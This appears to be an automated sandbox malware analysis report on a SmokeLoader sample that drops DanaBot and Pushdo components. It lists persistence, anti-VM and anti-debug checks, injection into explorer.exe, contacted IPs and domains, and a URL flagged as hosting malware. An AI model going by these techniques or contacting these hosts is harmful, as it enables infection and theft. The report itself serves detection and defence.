Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, \\.\PHYSICALDRIVE0	11_2_024D8BB8
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: CloseHandle,CreateFileA,DeviceIoControl, PHYSICALDRIVE0	11_2_024D8BB8

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\3896.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\3896.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3896.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\gytbkonlyq.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\gjsvvic:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D2B5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6120	Thread sleep time: -35300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4248	Thread sleep time: -390000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5188	Thread sleep time: -32100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe TID: 1396	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 351	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 353	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 417	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 860	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 855	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_6-5068

Source: C:\Users\user\AppData\Local\Temp\D2B5.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

API call chain: ExitProcess graph end node

graph_11-7009

Source: explorer.exe, 00000001.00000000.332641026.000000000834F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000001.00000000.332641026.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000001.00000000.328618034.00000000059F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000001.00000000.337118579.000000000D0F7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.332641026.0000000008394000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.337118579.000000000D0F7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}aProgr
Source: explorer.exe, 00000001.00000000.334791329.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#5&
Source: explorer.exe, 00000001.00000000.333406200.0000000008578000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.5.dr	Binary or memory string: VBoxMRXNP.dll
Source: 3896.exe, 0000000C.00000002.593397454.0000000007723000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.5.dr	Binary or memory string: VBoxHook.dll
Source: explorer.exe, 00000001.00000000.332641026.000000000830B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.5.dr	Binary or memory string: vmbusres.dll
Source: B7BD.exe, 0000000B.00000002.493107859.0000000002CE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	6_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00407D21 mov eax, dword ptr fs:[00000030h]	6_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 6_2_00BCB433 push dword ptr fs:[00000030h]	6_2_00BCB433
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_00407D21 mov eax, dword ptr fs:[00000030h]	11_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	11_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024D092B mov eax, dword ptr fs:[00000030h]	11_2_024D092B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024DB10B mov eax, dword ptr fs:[00000030h]	11_2_024DB10B
Source: C:\Users\user\AppData\Local\Temp\B7BD.exe	Code function: 11_2_024D0D90 mov eax, dword ptr fs:[00000030h]	11_2_024D0D90

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 6_2_0040803E GetProcessHeap,HeapAlloc,

6_2_0040803E

Source: C:\Users\user\Desktop\GyTbKONlyq.exe

Code function: 0_2_00402945 LdrLoadDll,

0_2_00402945

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 95.158.162.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 123.140.161.243 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.212.182.57 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 58.235.189.192 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 175.126.109.15 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.104.254.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 187.245.185.123 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 86.122.83.142 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: gjsvvic.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\GyTbKONlyq.exe	Thread created: C:\Windows\explorer.exe EIP: 45E19A0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\gjsvvic	Thread created: unknown EIP: 4A619A0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B7BD.exe

Code function: 6_2_004082B6 CheckTokenMembership,AllocateAndInitializeSid,FreeSid,

6_2_004082B6

Source: explorer.exe, 00000001.00000000.324449180.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000001.00000000.332641026.000000000834F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.324449180.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.329178629.0000000005C70000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.324449180.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.323979495.00000000009C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progmanath
Source: explorer.exe, 00000001.00000000.324449180.0000000000E50000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\3896.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.5.dr	Binary or memory string: MSASCui.exe
Source: D2B5.exe, 00000005.00000003.435315982.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.5.dr	Binary or memory string: mcupdate.exe

Stealing of Sensitive Information

Yara detected DanaBot stealer dll

Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Backdoor Pushdo

Source: Yara match	File source: 12.2.3896.exe.1440000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.3896.exe.1440000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.591542045.0000000001440000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected DanaBot stealer dll

Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.D2B5.exe.3170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	21 Input Capture	23 System Information Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	31 Software Packing	LSASS Memory	1 Query Registry	Remote Desktop Protocol	21 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	1 Bootkit	32 Process Injection	1 DLL Side-Loading	Security Account Manager	341 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	1 File Deletion	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	32 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Bootkit	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
GyTbKONlyq.exe	33%	ReversingLabs
GyTbKONlyq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\gjsvvic	100%	Joe Sandbox ML
C:\Users\user\pigalicapi.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D2B5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3896.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B7BD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3896.exe	21%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
12.0.3896.exe.fe0000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
0.3.GyTbKONlyq.exe.950000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.B7BD.exe.25d312c.2.unpack	100%	Avira	TR/Patched.Ren.Gen7	Download File
1.3.explorer.exe.fa9f8a0.3.unpack	100%	Avira	HEUR/AGEN.1253311	Download File
6.2.B7BD.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.gjsvvic.860e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.3896.exe.17f0000.3.unpack	100%	Avira	TR/Patched.Gen	Download File
0.2.GyTbKONlyq.exe.940e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.gjsvvic.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.3896.exe.144e290.1.unpack	100%	Avira	TR/Downloader.Gen	Download File
11.2.B7BD.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.GyTbKONlyq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.3896.exe.1440000.2.unpack	100%	Avira	TR/Spy.Gen	Download File
12.2.3896.exe.fe0000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
2.3.gjsvvic.870000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.myropcb.com/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
http://www.myropcb.com/online-quote/stencil-quote/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/images/register1.gif	0%	Avira URL Cloud	safe
http://www.myropcb.com/download/DownloadApk.php	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg1.png	0%	Avira URL Cloud	safe
http://mobilnic.net/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/article/article.php?id=70	0%	Avira URL Cloud	safe
http://www.mobilnic.net/article/article.php?id=71	0%	Avira URL Cloud	safe
http://www.mobilnic.net/article/show_article.php?id=1879	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/post-type-dynamic.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1	0%	Avira URL Cloud	safe
http://www.myropcb.com/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/article/article.php?id=72	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	0%	Avira URL Cloud	safe
http://rutobacco.ru/tmp/	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/js/jquery-ui.min.js	0%	Avira URL Cloud	safe
http://h167471.srv11.test-hf.su/64.exe	100%	Avira URL Cloud	malware
http://www.yoruksut.com/q6IWK1q4JFv4rNa1j1w0JQJD	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/images/login1.gif	0%	Avira URL Cloud	safe
http://www.baijaku.com/cgi-bin/daycount/daycount.cgi?today	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.fnw.ush	0%	Avira URL Cloud	safe
http://www.myropcb.com/online-quote/bom/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
http://www.mobilnic.net/article/show_article.php?id=1869	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/awards-certificates/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://www.fnw.us	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201907271754073236.jpg	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F&format=xml	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=62	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-capabilities/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	0%	Avira URL Cloud	safe
http://www.myropcb.com/#website	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=9.	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=61	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-includes/js/jquery/ui/effect-slide.min.js?ver=1.12.1	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=60	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/toggle-switch.css?ver=3.1.	0%	Avira URL Cloud	safe
https://www.pcgrate.com/comments/feed/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=25	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-table.css?ver=2	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/css/somdn-style.css?ve	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-admin/admin-ajax.php	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/js/add-to-cart.js?ver=3.1.7	0%	Avira URL Cloud	safe
http://www.yoruksut.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/preloaded-elements-handlers.min.js?	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/20190820152543750.jpg	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/special-offer-specifications/	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-json/wp/v2/pages/28	0%	Avira URL Cloud	safe
